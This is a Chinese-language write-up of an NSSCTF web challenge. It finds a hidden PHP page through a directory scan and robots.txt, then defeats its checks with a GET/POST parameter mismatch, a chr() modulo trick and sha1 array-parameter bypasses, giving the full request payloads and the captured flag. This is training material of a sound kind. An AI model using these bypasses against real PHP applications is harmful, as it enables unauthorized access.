

where i am?

1. 打开靶场，只有一个where i am? ,直接dirsearch扫描

```
[21:14:18] Scanning:  
[21:14:42] 200 - 11B - /index.html  
[21:14:50] 200 - 34B - /robots.txt  
[21:14:50] 403 - 311B - /server-status  
[21:14:50] 403 - 312B - /server-status/
```

2. index.html是当前页面，访问robots.txt看到1nd3x.php

```
User-agent: *  
Disallow: 1nd3x.php
```

3. 访问得到源码

```

<?php
highlight_file(__FILE__);
error_reporting(0);

if($_REQUEST['a'] === 'hello'){
    die('no');
}

if($_GET['a'] != 'hello') {
    die('no');
}
$d = intval($_GET['data']);
if ($d < 1000 || chr($d) !== 'A') {
    die('no');
}

$a = $_GET['p'];
$b = $_POST['s'];

if ( sha1($a) === sha1($b) && $a != $b){
    echo getenv('FLAG');
}

?> no

```

4.前两个，可以在post传入a非hello字符串，get传参a为hello字符串，\$_REQUEST会接收到post的传参，\$_GET接收到get的传参

URL

<http://node4.anna.nssctf.cn:28920/1nd3x.php?a=hello>

☒ Use POST method

enctype

application/x-www-form-urlencoded

Body

a=nohello

5.接下来考了一个php溢出，chr在处理超过256的数值时，会进行取模运算 $n \pmod{256}$ ，所以大于1000且 $\pmod{256}$ 等于65即可

```
,  
$d = intval($_GET['data']);  
if ($d < 1000 || chr($d) !== 'A') {  
    die('no');  
}
```

写一个脚本

```
<?php  
for ($i = 1000; 1; $i++) {  
    if ($i > 1000 && chr($i) === 'A') {  
        echo $i;  
        break;  
    }  
}  
?>
```

输出1089

1089

6.传参给data1089即可消除no

```
$a = $_GET['p'];  
$b = $_POST['s'];  
  
if ( sha1($a) === sha1($b) && $a !== $b){  
    echo getenv('FLAG');  
}  
?>
```

7.最后一关，sha1函数和md5差不多，直接用数组绕过，得到flag

URL

[http://node4.anna.nssctf.cn:28920/1nd3x.php?a=hello&data=1089&p\[\]=1](http://node4.anna.nssctf.cn:28920/1nd3x.php?a=hello&data=1089&p[]=1)

☒ Use POST method

enctype
application/x-www-form-urlencoded

Body
a=nohello&s[]=2

NSSCTF{c8c2251e-4bfa-4ecd-973a-6179873b678c}